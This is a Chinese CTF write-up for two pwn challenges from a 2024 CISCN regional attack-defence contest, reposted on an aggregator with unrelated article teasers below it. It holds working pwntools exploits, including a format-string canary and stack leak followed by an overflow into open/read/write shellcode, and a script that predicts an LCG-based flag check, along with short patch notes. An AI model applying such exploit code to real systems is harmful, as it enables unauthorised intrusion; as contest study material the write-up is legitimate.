2024ciscn 華東北awdp pwn部分wp

pwn1

  • break

很簡單,棧可執行。
先格式化字符串泄露出棧地址和canary,然后稍稍布置一下打orw就行
沙盒和沒有一樣

from pwn import *context(arch='amd64', os='linux')if __name__ == '__main__':# io = remote('192.47.1.39', 80)io = remote('192.168.142.137', 1234)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(b'%17$p')io.recvuntil(b'2: get name')io.sendline(b'2')io.recvuntil(b'->get name\n')canary = int(io.recvuntil(b'\n')[:-1], 16)print(hex(canary))shellcode = shellcraft.openat(0, '/flag')shellcode += shellcraft.read('rax', 'rsp', 32)shellcode += shellcraft.write(1, 'rsp', 32)shellcode = asm(shellcode)payload = shellcodepayload = payload.rjust(0x60 - 8 * 3, b'\x90')payload += p64(canary)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(b'%18$pk')io.recvuntil(b'2: get name')io.sendline(b'2')io.recvuntil(b'->get name\n')target_stack = int(io.recvuntil(b'k')[:-1], 16) - 0x60print(hex(target_stack))payload += p64(0xdeedbeef)payload += p64(target_stack)io.recvuntil(b'2: get name')io.sendline(b'1')io.recvuntil(b'->set name')io.sendline(payload)io.recvuntil(b'2: get name')io.sendline(b'3')# 7FFD0D2025F0 tar# 7FFD0D202650 getprint(payload)print(len(payload))io.interactive()pass# context(log_level='debug', arch='amd64', os='linux')
# if __name__ == '__main__':
#     io = remote('202.0.5.74', 8888)
#     shellcode = shellcraft.open('/flag')
#     shellcode += shellcraft.read('rax', 'rsp', 100)
#     shellcode += shellcraft.write(1, 'rsp', 100)
#     shellcode = asm(shellcode)
#     io.sendlineafter(b'ode?\n\n', shellcode)
#     io.interactive()
  • fix

關鍵點是棧溢出,把read大小從0x80改成0x60即可

pwn2

  • break

簡單題,難在沒有符號表。
只需要看懂邏輯即可。猜flag頭稍稍需要一點點運氣

from pwn import *context(arch='amd64', os='linux')if __name__ == '__main__':# io = remote('192.47.1.50', 80)io = remote('192.168.142.137', 9999)fuck = []for i in range(4):io.recvuntil(b'check flag\n')io.sendline(b'2')io.recvuntil(b':')fuck.append(str(int(io.recvuntil(b'\n')[:-1], 10)).encode())print(fuck)fuck_flag = 0x5139397b67616c66for i in range(4):fuck_flag = (0x5851F42D4C957F2D * fuck_flag + 12345) & 0x7FFFFFFFFFFFFFFFio.recvuntil(b'check flag\n')io.sendline(b'3')io.recvuntil(b'\n')io.sendline(fuck[i] + b' ' + str(fuck_flag).encode())io.recvuntil(b'check flag\n')io.sendline(b'6')io.interactive()

結果

  • fix

把printf吐flag的%s改成ss即可

小結

pwn題目難度整體偏低,而且只有兩道題,希望下次可以多一點。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/34954.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/34954.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/34954.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

初階 《操作符詳解》 10. 逗號表達式

10. 逗號表達式 exp1, exp2, exp3, …expN 注&#xff1a; 1.逗號表達式&#xff0c;就是用逗號隔開的多個表達式 2.逗號表達式&#xff0c;從左向右依次執行&#xff0c;整個表達式的結果是最后一個表達式的結果 代碼1 #include <stdio.h> int main() {int a 1;int b…

【Qt6.3 基礎教程 19】 設計直觀用戶界面(UI):Qt應用界面設計原則

文章目錄 前言理解用戶需求界面的簡潔性一致性反饋利用布局管理美化你的應用結論 前言 用戶界面(UI)設計對于任何軟件項目的成功至關重要&#xff0c;因為它是用戶與您的應用之間交流的橋梁。在Qt環境中&#xff0c;擁有一套清晰和直觀的UI設計原則&#xff0c;將有助于您創建…

解決ubuntu18.04 安裝vscode 報依賴庫錯誤,以及打不開終端的問題。

其實很簡單&#xff0c;ubuntu18.04太老了&#xff0c;官網最新版本的vscode對ubuntu18.04會有些依賴庫的問題。 一頓查資料后發現2023.11月的1.85版本正常使用&#xff0c;于是完美解決。 下載鏈接 Visual Studio Code November 2023 點擊這里下載。 下載完成&#xff0c;…

golang 獲取字符串切割之后的最后一個字符串

有些場景需要獲取字符串按某個字符切割之后&#xff0c;獲取最后&#xff0c;有個比較好的實踐分享 strings.LastIndex 如果沒有匹配到&#xff0c;則返回-1 package mainimport ("fmt""strings" )func main() {ss : []string{"", ":&quo…

數據結構需要每個都具體實現嗎?

在開始前剛好我有一些資料&#xff0c;是我根據網友給的問題精心整理了一份「數據結構的資料從專業入門到高級教程」&#xff0c; 點個關注在評論區回復“666”之后私信回復“666”&#xff0c;全部無償共享給大家&#xff01;&#xff01;&#xff01;用c的stl能刷算法題是不…

【INTEL(ALTERA)】運行配置找不到導入的自定義 makefile 項目

目錄 說明 解決方法 說明 在使用 Import Custom Makefile 用于Nios II軟件構建工具項目 選項導入項目后&#xff0c;Nios II SBT 無法將導入的自定義 makefile 識別為Nios II C/C 應用項目。因此&#xff0c;項目名稱不出現在運行配置中的列表中。 解決方法 在 "運行配置 …

clean code-代碼整潔之道 閱讀筆記(第十三章)

第十三章 并發編程 "對象是過程的抽象。線程是調度的抽象。" --James O Coplien 13.1 為什么要并發 并發是一種解耦策略。它幫助我們把做什么&#xff08;目的&#xff09;和何時&#xff08;時機&#xff09;做分解開。在單線 程應用中&#xff0c;目的與時機緊密耦…

【OpenCV 圖像處理 Python版】OpenCV 簡介及安裝

文章目錄 1.OpenCV 介紹1.1 OpenCV 的特點1.2 OpenCV 的主要模塊1.3 OpenCV 的應用場景 2.OpenCV-Python 庫3.OpenCV 安裝 1.OpenCV 介紹 OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一個開源的計算機視覺和機器學習軟件庫。它由英特爾公司于1999年…

API的優勢及應用場景(淘寶API測試的詳細步驟)

一、API的優勢 API的出現為應用程序間的通信提供了一種新的方式&#xff0c;它有以下優勢&#xff1a; 1、降低開發難度 開發者可以通過API訪問其他應用程序的數據和功能&#xff0c;避免了重復開發&#xff0c;降低了開發難度。 2、提高開發效率 API提供了一種標準化的通…

Transformer 模型全解析:NLP領域的變革者與任務精粹

標題&#xff1a;Transformer 模型全解析&#xff1a;NLP領域的變革者與任務精粹 引言 Transformer 模型自問世以來&#xff0c;已成為自然語言處理&#xff08;NLP&#xff09;領域的一大突破&#xff0c;其基于自注意力機制的架構為各種語言任務帶來了革命性的進展。本文將…

使用AES,前端加密,后端解密,spring工具類,直接c就完事了

學習python的時候&#xff0c;看到很多會對參數進行加密&#xff0c;于是好奇心驅使下&#xff0c;讓我去了解了下AES加密如何在java中實現。 首先 npm install crypto-js 然后在你的方法中&#xff0c;給你們前端源碼看看&#xff0c;因為我用的ruoyi框架做的實驗&#xff…

Java中的消息隊列與事件總線設計

Java中的消息隊列與事件總線設計 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01;今天我們將探討Java中的消息隊列與事件總線設計&#xff0c;這兩者在現代分布式…

構建一個檢索增強生成(RAG)應用程序

:::tips 此文檔是LangChain官方教程的實踐總結&#xff1a;https://python.langchain.com/v0.2/docs/tutorials/rag/實踐前你需要準備&#xff1a;OPENAI_API_KEY Generator&#xff1a;根據檢索到的信息和用戶的查詢生成自然語言的回答。LANGCHAIN_API_KEY 密切監控和評估您的…

【自然語言處理系列】掌握NLP基礎:去停用詞、詞性標注與命名實體識別實戰教程

摘要&#xff1a;本系列教程專注于自然語言處理&#xff08;NLP&#xff09;中的基礎元素&#xff0c;包括去停用詞、詞性標注以及命名實體識別。這些步驟是文本預處理和分析不可或缺的組成部分。我們將通過具體的實例和技術演示&#xff0c;講解如何使用Python及其相關庫&…

網絡安全之Windows提權(上篇)(高級進階)

目錄 一&#xff0c;什么是提權&#xff1f; 二&#xff0c;提權的前提 三&#xff0c;如何提權&#xff1f; 1&#xff0c;第一步連接服務器 2&#xff0c;提升權限至iuser?編輯 3&#xff0c;利用補丁漏洞提權至最高級 四&#xff0c;總結 一&#xff0c;什么是提權&am…

大數據集群數據傳輸

簡單的服務器間的通信示例 netcat&#xff0c;簡寫為 nc&#xff0c;是 unix 系統下一個強大的命令行網絡通信工具&#xff0c;用于在兩臺主機之間建立 TCP 或者 UDP 連接&#xff0c;并提供豐富的命令進行數據通信。nc 在網絡參考模型屬于應用層。使用 nc 可以做很多事情&…

docker-compose 之 達夢數據庫(dm8-v202406版)

1、達夢官方沒有提供鏡像直接 pull 的方式&#xff0c;提供的是鏡像的 tar 包&#xff0c;所以需要先去官網下載tar包。 2、然后使用如下 docker load 命令導入鏡像到服務上&#xff1a; docker load -i dm8_20240422_x86_rh6_64_rq_std_8.1.3.100_pack2.tar導入完成后&#…

重磅丨上海容大推出“容聆”智能拾音工牌,賦能線下門店運營數字化

近日&#xff0c;繼豚音營業廳智能質檢終端之后&#xff0c;上海容大數字技術有限公司&#xff08;簡稱“上海容大”&#xff09;在線下面對面溝通場景下語音數據采集與智能分析領域取得了新突破&#xff0c;重磅推出AI智能語音工牌產品——“容聆”。 據悉&#xff0c;“容聆”…

mybatis x插件的使用教程(詳細)

MyBatisX 的主要功能 代碼生成&#xff1a; 自動生成 MyBatis 的 Mapper、XML 配置文件和實體類&#xff0c;大大減少手工編寫代碼的工作量。 智能代碼補全&#xff1a; 提供 SQL 語句和 MyBatis 配置的智能代碼補全功能&#xff0c;使開發者能夠更快地編寫代碼。 代碼導航&…

鈾的危害和應用,以及鈾的分離提純

鈾是一種錒系放射性元素&#xff0c;對人體存在一定的危害&#xff0c;如輻射損傷、呼吸系統損傷、神經系統損傷、免疫系統損傷等。 1、輻射損傷&#xff1a;鈾的放射性會對人體產生輻射損傷&#xff0c;長期接觸會增加患癌癥的風險。此外&#xff0c;還可能對人體正常細胞產生…